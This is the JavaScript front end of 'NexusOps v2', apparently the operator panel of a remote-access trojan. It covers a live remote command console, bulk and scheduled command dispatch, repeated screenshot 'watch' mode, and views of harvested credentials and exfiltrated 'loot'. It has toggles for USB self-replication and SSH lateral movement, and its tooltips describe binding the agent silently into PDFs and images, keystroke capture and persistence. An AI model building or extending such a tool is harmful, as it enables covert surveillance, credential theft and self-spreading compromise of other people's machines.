async function api(path, opts = {}) { opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {}); const r = await fetch(path, opts); if (!r.ok) throw new Error('HTTP ' + r.status); return r.json(); } /* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */ // ── Live Console (drawer) ── let consoleNode = null; let consoleEventSource = null; function openLiveConsole(nodeId, hostname) { consoleNode = { id: nodeId, hostname }; document.getElementById('consoleDrawerHostname').textContent = hostname; document.getElementById('consoleOutput').innerHTML = ''; document.getElementById('consoleDrawer').classList.add('active'); document.getElementById('consoleInput').focus(); // ask agent to fast-poll api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {}); const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`; const out = document.getElementById('consoleOutput'); appendConsoleLine('── console attached (fast-poll active) ──', 'sys'); consoleEventSource = new EventSource(url); consoleEventSource.onmessage = (ev) => { try { const d = JSON.parse(ev.data); if (d.type === 'output') appendConsoleLine(d.text, 'out'); } catch (e) {} }; consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys'); } function closeLiveConsole() { if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; } if (consoleNode) { // restore slow polling api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {}); } document.getElementById('consoleDrawer').classList.remove('active'); consoleNode = null; } function appendConsoleLine(text, cls) { const out = document.getElementById('consoleOutput'); const div = document.createElement('div'); div.className = 'console-line ' + (cls || 'out'); div.textContent = text; out.appendChild(div); out.scrollTop = out.scrollHeight; } async function consoleRunCommand() { const input = document.getElementById('consoleInput'); const cmd = input.value.trim(); if (!cmd || !consoleNode) return; appendConsoleLine(`$ ${cmd}`, 'cmd'); input.value = ''; try { const r = await fetch(`/api/nodes/${consoleNode.id}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ command: cmd, actionType: 'raw_command' }) }); if (!r.ok) appendConsoleLine('! failed to queue command', 'sys'); } catch (e) { appendConsoleLine('! failed to queue command', 'sys'); } } // ── Sparklines (inline SVG from metricsHistory) ── function sparkline(values, color) { if (!values || values.length < 2) return 'no history'; const w = 90, h = 24, max = Math.max(...values, 100); const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' '); return ``; } // Patch renderNodesGrid to add sparkline row + console button const _origRenderNodesGrid = renderNodesGrid; renderNodesGrid = function () { _origRenderNodesGrid(); // inject sparklines into each node card document.querySelectorAll('.node-card').forEach((card, idx) => { // cards render in filtered order; match by hostname text — safer: find by data via original data }); // Simpler: re-render footer metrics with sparkline data attribute injection }; // Simpler approach: monkey-patch the map output by wrapping string injection (function patchSparklines() { const orig = renderNodesGrid; renderNodesGrid = function () { orig(); // attach sparkline next to heartbeat label per card using nodesData order const cards = document.querySelectorAll('#nodesGrid .node-card'); const filtered = nodesData.filter(node => { const search = (document.getElementById('searchInput')?.value || '').toLowerCase(); const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || node.hostname.toLowerCase().includes(search) || node.ip.toLowerCase().includes(search) || node.platform.toLowerCase().includes(search) || node.id.toLowerCase().includes(search); return matchesFilter && matchesSearch; }); cards.forEach((card, i) => { const node = filtered[i]; if (!node) return; const hist = (node.metricsHistory || []).map(m => m.cpu); const foot = card.querySelector('.node-actions'); if (foot) { const spark = document.createElement('span'); spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171'); spark.title = 'CPU history (last 30 beats)'; spark.style.marginRight = '0.5rem'; foot.parentNode.insertBefore(spark, foot); if (node.agentVersion && node.agentVersion !== 'unknown') { const ver = document.createElement('span'); ver.className = 'node-version'; ver.textContent = 'v' + node.agentVersion; ver.title = 'Agent version'; ver.style.cssText = 'font-size:0.65rem;color:#94a3b8;border:1px solid #334155;border-radius:4px;padding:0 4px;margin-right:0.5rem;align-self:center;'; foot.parentNode.insertBefore(ver, foot); } // live console button const btn = document.createElement('button'); btn.className = 'btn-icon'; btn.title = 'Live Console'; btn.innerHTML = ''; btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'")); foot.insertBefore(btn, foot.firstChild); } }); }; })(); // ── Schedules panel ── function openSchedulesModal() { document.getElementById('schedulesModal').classList.add('active'); renderSchedules(); api('/api/groups').then(g => { const sel = document.getElementById('schedTag'); sel.innerHTML = '' + (g.groups || []).map(x => ``).join(''); }).catch(() => {}); } function closeSchedulesModal() { document.getElementById('schedulesModal').classList.remove('active'); } function renderSchedules() { api('/api/schedules').then(d => { const el = document.getElementById('schedulesList'); if (!d.schedules || !d.schedules.length) { el.innerHTML = '

No scheduled tasks yet. Add one below.

'; return; } el.innerHTML = d.schedules.map(s => `
${escapeHtml(s.name)} ${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}
`).join(''); }).catch(() => {}); } async function createSchedule() { const name = document.getElementById('schedName').value.trim(); const command = document.getElementById('schedCommand').value.trim(); const interval = parseInt(document.getElementById('schedInterval').value, 10); const tag = document.getElementById('schedTag').value || 'all'; if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; } await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) }); document.getElementById('schedName').value = ''; document.getElementById('schedCommand').value = ''; toast('Schedule created', 'success'); renderSchedules(); } async function toggleSchedule(id) { await api(`/api/schedules/${id}/toggle`, { method: 'POST' }); renderSchedules(); } async function deleteSchedule(id) { await api(`/api/schedules/${id}`, { method: 'DELETE' }); renderSchedules(); } // ── Group bulk command modal ── function openGroupCommandModal() { document.getElementById('groupCmdModal').classList.add('active'); api('/api/groups').then(g => { const sel = document.getElementById('groupCmdTag'); sel.innerHTML = '' + (g.groups || []).map(x => ``).join(''); }).catch(() => {}); } function closeGroupCommandModal() { document.getElementById('groupCmdModal').classList.remove('active'); } async function submitGroupCommand() { const command = document.getElementById('groupCmdInput').value.trim(); const tag = document.getElementById('groupCmdTag').value || 'all'; if (!command) { toast('Enter a command', 'error'); return; } try { const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) }); toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success'); closeGroupCommandModal(); } catch (e) { toast('Failed to queue group command', 'error'); } } // ── Alerts feed ── function renderAlerts() { const el = document.getElementById('alertsFeed'); if (!el) return; api('/api/alerts').then(d => { const alerts = d.alerts || []; document.getElementById('alertCount').textContent = `${alerts.length}`; el.innerHTML = alerts.length ? alerts.slice().reverse().map(a => `
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
`).join('') : '
No alerts. All nodes checking in.
'; }).catch(() => {}); } setInterval(renderAlerts, 15000); console.log('[v2] UI additions loaded'); // ═══════════════════════════════════════════════════════════════════ // COMPLETENESS ADDITIONS 2026-09-29 — drawer, watch mode, export, token // ═══════════════════════════════════════════════════════════════════ // ── agent token aware binary command ── (function injectAgentToken() { let tries = 0; const iv = setInterval(async () => { tries++; try { const cb = document.getElementById('codeBinary'); if (!cb) return; const r = await api('/api/agenttoken'); if (!r || !r.token) return; if (!cb.dataset.tokenized) { cb.dataset.tokenized = '1'; cb.innerHTML = cb.innerHTML.replace( /(--server [^<]*<\/span>)/, '$1 --token ' + r.token ); } clearInterval(iv); } catch (e) { if (tries > 40) clearInterval(iv); } }, 3000); })(); // ── Export All button in nav ── (function injectExport() { const ks = document.querySelector('button[onclick="killSwitch()"]'); if (!ks || document.getElementById('exportAllBtn')) return; const b = document.createElement('button'); b.id = 'exportAllBtn'; b.className = 'btn btn-secondary'; b.title = 'Download full archive: nodes, commands, logs, inputs, creds, schedules, alerts'; b.innerHTML = ' Export All'; b.onclick = () => { window.location.href = '/api/export/all'; }; ks.parentNode.insertBefore(b, ks); })(); // ── Node detail drawer ── let drawerTimer = null, watchTimer = null, watchLastFileId = null; function closeDrawer() { const d = document.getElementById('nexusDrawer'); if (d) d.remove(); if (drawerTimer) { clearInterval(drawerTimer); drawerTimer = null; } if (watchTimer) { clearInterval(watchTimer); watchTimer = null; } } async function openDrawer(nodeId) { closeDrawer(); const d = document.createElement('div'); d.id = 'nexusDrawer'; d.style.cssText = 'position:fixed;top:0;right:0;width:500px;max-width:95vw;height:100vh;background:#0b1220;border-left:1px solid #1e293b;z-index:9999;overflow-y:auto;padding:1.25rem;box-shadow:-12px 0 40px rgba(0,0,0,.55);font-size:0.85rem;'; d.innerHTML = '
' + '

Loading…

' + '
' + '
'; document.body.appendChild(d); async function render() { let nodes = []; try { const r = await api('/api/nodes'); nodes = Array.isArray(r) ? r : (r.nodes || []); } catch (e) { return; } const n = nodes.find(x => x.id === nodeId); if (!n) { document.getElementById('ndTitle').textContent = 'Node offline'; return; } document.getElementById('ndTitle').textContent = n.hostname + (n.agentVersion ? ' · v' + n.agentVersion : ''); const hist = (n.metricsHistory || []).map(m => m.cpu); const memHist = (n.metricsHistory || []).map(m => m.mem); const lastSeen = n.lastHeartbeat ? Math.round((Date.now() - n.lastHeartbeat) / 1000) + 's ago' : '?'; const statusColor = n.status === 'online' ? '#4ade80' : '#f87171'; let files = [], creds = []; try { files = (await api('/api/files')) || []; } catch (e) {} try { creds = (await api('/api/credentials')) || []; } catch (e) {} if (!Array.isArray(files)) files = []; if (!Array.isArray(creds)) creds = []; const myFiles = files.filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)).slice(0, 12); const myCreds = creds.filter(c => c.nodeId === nodeId).slice(-12).reverse(); const esc = escapeHtml; document.getElementById('ndBody').innerHTML = `
Status: ${esc(n.status)} Last seen: ${esc(lastSeen)} IP: ${esc(n.ip || '?')} OS: ${esc(n.osName || n.platform)} ${esc(n.arch || '')} Tags: ${esc((n.tags || []).join(', '))} Uptime: ${esc(n.uptime ? Math.round(n.uptime / 3600) + 'h' : '?')}
CPU
${sparkline(hist, statusColor)}
MEM
${sparkline(memHist, '#60a5fa')}
Tags
Files (${myFiles.length})
${myFiles.length ? myFiles.map(f => `
${esc(f.filename)} ${Math.round((f.size || 0) / 1024)}KB
`).join('') : '
No files yet.
'}
Credentials (${myCreds.length})
${myCreds.length ? myCreds.map(c => `
${esc(c.type)} ${esc(String(c.data).slice(0, 60))}
`).join('') : '
Nothing harvested.
'}
`; // restore watch state after re-render (innerHTML wipe) if (watchTimer) { const wb = document.getElementById('watchBtn'); if (wb) { wb.textContent = 'Watching…'; wb.style.borderColor = '#4ade80'; wb.style.color = '#4ade80'; } } if (watchLastFileId) { const box = document.getElementById('shotBox'), img = document.getElementById('shotImg'); if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + watchLastFileId + '?cb=' + Date.now(); } } } render(); drawerTimer = setInterval(render, 5000); drawerTimer = setInterval(render, 5000); } async function submitNodeActionTo(nodeId, actionType, payload) { try { await api(`/api/nodes/${nodeId}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType, payload, command: payload.command || actionType }) }); } catch (e) { console.error('command failed', e); } } async function drawerPing(nodeId) { const el = document.getElementById('pingResult'); if (el) el.textContent = 'pinging…'; const t0 = Date.now(); try { await api(`/api/nodes/${nodeId}/ping`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }); if (el) el.textContent = '✓ round trip ' + (Date.now() - t0) + 'ms'; } catch (e) { if (el) el.textContent = '✗ ping failed'; } } async function drawerShot(nodeId) { await submitNodeActionTo(nodeId, 'screenshot', {}); setTimeout(() => pollLatestShot(nodeId, true), 4000); } function pollLatestShot(nodeId, force) { api('/api/files').then(files => { const mine = (files || []).filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)); if (!mine.length) return; const latest = mine[0]; if (force || latest.id !== watchLastFileId) { watchLastFileId = latest.id; const box = document.getElementById('shotBox'), img = document.getElementById('shotImg'); if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + latest.id + '?cb=' + Date.now(); } } }).catch(() => {}); } function drawerToggleWatch(nodeId) { const btn = document.getElementById('watchBtn'); if (watchTimer) { clearInterval(watchTimer); watchTimer = null; if (btn) { btn.textContent = 'Watch'; btn.style.borderColor = ''; btn.style.color = ''; } return; } if (btn) { btn.textContent = 'Watching…'; btn.style.borderColor = '#4ade80'; btn.style.color = '#4ade80'; } watchLastFileId = null; drawerShot(nodeId); watchTimer = setInterval(() => { submitNodeActionTo(nodeId, 'screenshot', {}); setTimeout(() => pollLatestShot(nodeId, false), 3500); }, 15000); } async function drawerSaveTags(nodeId) { const v = (document.getElementById('tagInput') || {}).value || ''; await submitNodeActionTo(nodeId, 'update_tags', { tags: v.split(',').map(t => t.trim()).filter(Boolean) }); } // stamp card node ids so click-to-drawer works (function stampCardIds() { const prev = renderNodesGrid; renderNodesGrid = function () { prev(); const cards = document.querySelectorAll('#nodesGrid .node-card'); const filtered = (typeof nodesData !== 'undefined' ? nodesData : []).filter(node => { const search = (document.getElementById('searchInput')?.value || '').toLowerCase(); const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || node.hostname.toLowerCase().includes(search) || node.ip.toLowerCase().includes(search) || node.platform.toLowerCase().includes(search) || node.id.toLowerCase().includes(search); return matchesFilter && matchesSearch; }); cards.forEach((card, i) => { if (filtered[i]) card.dataset.nodeId = filtered[i].id; }); }; })(); // card click → drawer (keep existing buttons working) document.addEventListener('click', function (e) { const card = e.target.closest && e.target.closest('.node-card'); if (!card || e.target.closest('button') || e.target.closest('a')) return; const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', ''); if (nid) openDrawer(nid); }, true); // ═══════════════════════════════════════════════════════════════════ // COMPLETENESS 3 — USB spread controls + hover terminology tooltips // ═══════════════════════════════════════════════════════════════════ // ── tooltip stylesheet ── (function injectTipCSS() { if (document.getElementById('nexusTipCSS')) return; const st = document.createElement('style'); st.id = 'nexusTipCSS'; st.textContent = ` .nx-term { border-bottom: 1px dashed #64748b; cursor: help; position: relative; } .nx-term:hover::after { content: attr(data-tip); position: absolute; bottom: 130%; left: 50%; transform: translateX(-50%); background: #1e293b; color: #e2e8f0; border: 1px solid #334155; border-radius: 8px; padding: 0.5rem 0.7rem; font-size: 0.72rem; line-height: 1.35; width: 250px; white-space: normal; z-index: 10000; box-shadow: 0 8px 24px rgba(0,0,0,.5); text-align: left; pointer-events: none; } .nx-term:hover::before { content: ''; position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%); border: 5px solid transparent; border-top-color: #334155; z-index: 10001; }`; document.head.appendChild(st); })(); // ── terminology dictionary (hover popups) ── const NX_TERMS = { 'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.', 'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.', 'Update All': 'Sends the update_agent command to every online node running an older agent version.', 'Root': 'The administrator account on Linux/macOS. Full control of the machine.', 'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.', 'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.', 'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.', 'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.', 'Exfiltration': 'Copying files off a machine and sending them back here, where they land in Loot.', 'Credential Harvesting': 'Collecting saved logins from a machine: browser cookies, WiFi passwords, SSH keys, shell history, cloud tokens.', 'Binder': 'Embeds the Agent inside a normal file (PDF, doc, image). When the file opens, the file opens normally AND the Agent quietly installs.', 'Dropper': 'The bound output file. It carries the original file plus the Agent payload.', 'Persistence': 'Making the Agent survive reboots: a systemd service on Linux, a launchd job on macOS, a scheduled task + registry run key on Windows.', 'Kill Switch': 'One button that tells every Agent to shut itself down immediately. Use if a node is compromised or must be wiped.', 'Fast Poll': 'A mode where the Agent checks for new commands ~every second instead of every heartbeat — makes the Live Console feel instant.', 'Loot': 'Everything collected from your Nodes: exfiltrated files, screenshots and harvested credentials.', 'Input Capture': 'Records keystrokes, clicks and scroll on a Node (needs pynput installed on the target).', 'Telemetry': 'Machine stats streamed from Nodes: CPU, memory, disk, network.', 'Scheduled Tasks': 'Recurring commands the server dispatches on a timer to a tag group or all nodes.', 'Tags': 'Labels you put on Nodes (e.g. "prod", "jr-pc") so you can target a group with one command.', 'Broadcast': 'Send one command to every online node at once.', 'USB Spread': 'Self-replication: the Agent copies itself onto any USB drive plugged into that machine, so carrying the stick spreads the agent.', 'Autorun': 'A file (autorun.inf) on a USB drive telling Windows to run a program when the stick is inserted. Modern Windows blocks it by default.', 'Agent Token': 'A shared password Agents use to talk to this server, so random internet scanners cannot register fake nodes.', 'Operator Token': 'Your admin password for this dashboard. Keep it private — it controls every machine with an Agent.', 'Fastpoll': 'High-frequency command checking for near-instant console response.', }; function applyNxTerms() { if (!document.body) return; const skip = new Set(['SCRIPT', 'STYLE', 'CODE', 'INPUT', 'TEXTAREA', 'PRE', 'TITLE']); const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, { acceptNode: function (n) { if (!n.nodeValue || n.nodeValue.length > 120) return NodeFilter.FILTER_REJECT; const t = n.parentNode && n.parentNode.nodeName; if (skip.has(t)) return NodeFilter.FILTER_REJECT; if (n.parentNode.closest && n.parentNode.closest('.nx-term')) return NodeFilter.FILTER_REJECT; for (const term of Object.keys(NX_TERMS)) { if (n.nodeValue.includes(term)) return NodeFilter.FILTER_ACCEPT; } return NodeFilter.FILTER_REJECT; } }); const targets = []; while (walker.nextNode()) targets.push(walker.currentNode); const sorted = Object.keys(NX_TERMS).sort((a, b) => b.length - a.length); const combined = new RegExp('\\b(' + sorted.map(t => t.replace(/ /g, ' ')).join('|') + ')\\b', 'g'); for (const node of targets) { let html = node.nodeValue; html = html.replace(combined, (m0) => '' + m0 + ''); if (html !== node.nodeValue) { const span = document.createElement('span'); span.innerHTML = html; node.parentNode.replaceChild(span, node); } } } setTimeout(applyNxTerms, 1500); setInterval(applyNxTerms, 15000); // ── drawer: USB spread toggle ── async function drawerToggleSpread(nodeId) { const btn = document.getElementById('spreadBtn'); const wasOn = btn && btn.dataset.on === '1'; try { await api(`/api/nodes/${nodeId}/spread`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ enabled: !wasOn, mode: 'copy' }) }); window._spreadState = !wasOn; if (btn) { btn.dataset.on = wasOn ? '0' : '1'; btn.textContent = btn.dataset.on === '1' ? 'USB Spread ON' : 'USB Spread'; btn.style.borderColor = btn.dataset.on === '1' ? '#4ade80' : ''; btn.style.color = btn.dataset.on === '1' ? '#4ade80' : ''; } } catch (e) { console.error('spread toggle failed', e); } } // inject spread state + button into drawer render (function wrapDrawerRender() { const prev = openDrawer; openDrawer = async function (nodeId) { await prev(nodeId); try { const sp = await api('/api/spread'); const on = (sp.nodes || []).includes(nodeId); window._spreadState = on; const btn = document.getElementById('spreadBtn'); if (btn) { btn.dataset.on = on ? '1' : '0'; btn.textContent = on ? 'USB Spread ON' : 'USB Spread'; btn.style.borderColor = on ? '#4ade80' : ''; btn.style.color = on ? '#4ade80' : ''; } } catch (e) {} }; })(); // patch drawer action row to include the spread button (function injectSpreadBtn() { const origRender = window.renderDrawerInner; const prevOpen = openDrawer; // simplest: add button after drawer opens via DOM observer on the action row const mo = new MutationObserver(() => { const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]'); if (row && !document.getElementById('spreadBtn')) { const b = document.createElement('button'); b.id = 'spreadBtn'; b.className = 'btn btn-secondary'; b.dataset.on = '0'; b.textContent = 'USB Spread'; b.textContent = window._spreadState ? 'USB Spread ON' : 'USB Spread'; b.style.borderColor = window._spreadState ? '#4ade80' : ''; b.style.color = window._spreadState ? '#4ade80' : ''; b.title = 'Self-replication: agent copies itself to any USB drive plugged into this machine, every 10 minutes'; b.onclick = () => drawerToggleSpread(window._drawerNodeId); row.appendChild(b); } }); mo.observe(document.body, { childList: true, subtree: true }); })(); // remember drawer node id for the spread button const _origOpenDrawer2 = openDrawer; openDrawer = async function (nodeId) { window._drawerNodeId = nodeId; return _origOpenDrawer2(nodeId); }; // ═══════════════════════════════════════════════════════════════════ // COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt // ═══════════════════════════════════════════════════════════════════ async function drawerOpenSSH(nodeId) { const el = document.getElementById('pingResult'); if (el) el.textContent = 'opening SSH…'; try { const r = await fetch(`/api/nodes/${nodeId}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' }) }); if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.'; } catch (e) { if (el) el.textContent = 'SSH open failed to queue'; } } async function drawerLateral(nodeId) { if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return; const el = document.getElementById('pingResult'); if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results'; try { await fetch(`/api/nodes/${nodeId}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' }) }); } catch (e) {} } async function updateAllOutdated() { try { const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' }); const t = document.querySelector('#toasts') || document.body; const d = document.createElement('div'); d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;'; d.textContent = r && r.queued !== undefined ? `Update All: ${r.queued} node(s) queued (current agent v${r.current})` : 'Update All failed'; document.body.appendChild(d); setTimeout(() => d.remove(), 5000); } catch (e) {} } // nav button (function injectUpdateAll() { const ks = document.querySelector('button[onclick="killSwitch()"]'); if (!ks || document.getElementById('updateAllBtn')) return; const b = document.createElement('button'); b.id = 'updateAllBtn'; b.className = 'btn btn-secondary'; b.title = 'Queues update_agent on every online node running an older agent version'; b.innerHTML = ' Update All Agents'; b.onclick = updateAllOutdated; ks.parentNode.insertBefore(b, ks); })(); // drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread) (function injectSSHButtons() { const mo = new MutationObserver(() => { const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]'); if (row && !document.getElementById('sshBtn')) { const nid = window._drawerNodeId; if (!nid) return; const ssh = document.createElement('button'); ssh.id = 'sshBtn'; ssh.className = 'btn btn-secondary'; ssh.innerHTML = ' Open SSH'; ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it'; ssh.onclick = () => drawerOpenSSH(nid); row.appendChild(ssh); const lat = document.createElement('button'); lat.id = 'latBtn'; lat.className = 'btn btn-secondary'; lat.innerHTML = ' Lateral'; lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys'; lat.onclick = () => drawerLateral(nid); row.appendChild(lat); } }); mo.observe(document.body, { childList: true, subtree: true }); })();